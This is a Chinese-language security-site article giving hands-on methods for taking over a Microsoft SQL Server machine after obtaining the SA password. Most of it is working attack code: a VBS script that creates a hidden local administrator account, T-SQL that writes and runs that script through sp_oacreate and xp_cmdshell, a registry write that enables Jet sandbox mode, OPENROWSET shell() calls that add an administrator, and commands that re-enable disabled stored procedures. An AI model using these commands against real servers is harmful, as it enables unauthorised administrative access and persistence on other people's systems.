站内搜索:
免费注册 登陆     
您现在的位置:TT安全 > 技巧 > Microsoft SQL Server SA权限最新入侵方法
Microsoft SQL Server SA权限最新入侵方法
2008-7-11   | |

  Microsoft SQL Server SA权限服务器一直是黑客青睐的对象,笔者也曾经发表过三篇相关的攻防文章(SA弱口令带来的安全隐患,Microsoft SQL Server SA弱口令攻防实战,SQL Server SA空口令的渗透测试日记),本文再向大家介绍几种入侵方法,读者可以根据情况找出防范办法。


  在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:

set wsnetwork=createObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") ’属性,admin组
Set od=ob.create("user","test") ’建立用户
od.SetPassword "1234" ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&"/test",user) ’得到用户
oe.add os&"/test"

  将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:

declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\1.vbs’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wsnetwork=createObject
("WSCRIPT.NETWORK")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’os="WinNT://"&wsnetwork.
ComputerName’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set ob=GetObject(os)’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set oe=GetObject
(os&"/Administrators,group")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set od=ob.create
("user","test")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’od.SetPassword "1234"’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’od.SetInfo ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set of=GetObject
(os&"/test",user) ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’oe.add os&"/test"’ 

  执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户:

exec master..xp_cmdshell ’cscript c:\1.vbs’

  如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为:

exec master..xp_cmdshell ’echo set wsnetwork=createObject("WSCRIPT.NETWORK")
>>1.vbs’

  不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。

  使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:

exec master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0
\Engines’,’SandBoxMode’,’REG_DWORD’,1

  然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:

select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=c:\windows
\system32\ias\ias.mdb’,’select shell("cmd.exe /c net user test 1234 /add")’)
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=c:\windows
\system32\ias\ias.mdb’,’select shell("cmd.exe /c net localgroup 
administrators test /add")’)

  不同的操作系统,路径也不一样,需要根据情况做修改:

NT/2K: c:\winnt\system32\ 
XP/2003: c:\windows\system32\

  另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

开启XP_cmdshell:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure
’xp_cmdshell’, 1;RECONFIGURE;
开启’OPENROWSET’:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure
’Ad Hoc Distributed Queries’,1;RECONFIGURE;
开启’sp_oacreate’:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure 
’Ole Automation Procedures’,1;RECONFIGURE;

 来源:51CTO    作者:王岗    
相关的新闻
安全厂商F-Secure最近发出警告,已经发现有基于Web页面的攻击开始瞄准剪贴板。用户用剪贴板来复制网页地址。打开攻击页面后,用户的剪贴板就会被清除并被插入恶意链接……
 
相关的技巧
架设FTP服务器,一向是把安全放在首位,特别是利用IIS之类工具建立起来的FTP服务器更是如此。如果设置不当遭受到恶意攻击,那造成整个服务器系统崩溃……
相关的专家答疑
问:如果有一所大学正在策划让学生通过电脑考试,那么使用PDF比使用Word文件的风险低吗?答:这个问题没有明确的答案,因为任何系统安全不只是基于文件格式的因素的……
 
相关的白皮书
上海浦东财政局由于多台WebLogic服务器访问资源的不对等性,为了提高服务质量,加强服务稳定性,决定对WebLogic服务器群进行全面部署实施服务器负载均衡方案……
蓝牙2.1按照设计比上一个版本更加安全,实际上却更易受到攻击。当用户连接两个蓝牙设备的时候黑客更容易获取密码……
研究人员说任何使用互联网的人都应该假定DNS网关已经是入侵者的天堂。而一位深受尊敬的软件工程师说域名系统(DNS,Domain Name System)服务器的漏洞的警告过份了……
Secure Computing的研究人员说他们发现了影响MP3和Windows Media Audio(WMA)以及Media Video (WMV)文件的新的特洛伊木马……
问:如果有一所大学正在策划让学生通过电脑考试,那么使用PDF比使用Word文件的风险低吗?答:这个问题没有明确的答案,因为任何系统安全不只是基于文件格式的因素的……
思科系统周三发布公告,警告用户小心统一通信管理器(Unified Communications Manager)的漏洞。该漏洞可能会中断语音服务,并透漏对入侵者有用的信息。
市场研究公司Gartner最近发表的研究报告强调了这种威胁并且预测当前成功的攻击有75%以上发生在应用层。Gartner甚至提出了一个更吓人
关闭不必要的服务、端口和帐户使Windows Server 2003固若金汤。黑客通常通过不使用的(没有配置或者不安全的
数据安全是降低敏感数据向内、外部泄露风险的最有效层面之一。在该层面,防护的焦点在于数据本身,其目的在于确保数据安然无恙,而不论其传播途径如何
最新更新
专家答疑
技巧
Ed Skoudis
问:共享软件应用程序比商业软件更容易受到安全风险?答:不是必然的。这要涉及要你对开发人员的信任程度……
Shon Harris
企业都有需要关注的地方。整个行业在软安全技巧(数据分类、个人安全、风险管理和程序管理以及事故回应等)方面都还落后。如果有一块不足,就会以消极地影响公司……
Michael Cobb
Web应用防火墙似乎对防御应用攻击很有效,但是我知道有些人犹豫是否安装。Web应用防火墙有什么缺点呢?
TechTarget中国旗下网站群
All Rights Reserved, Copyright 2008, TechTarget中国
TechTarget中国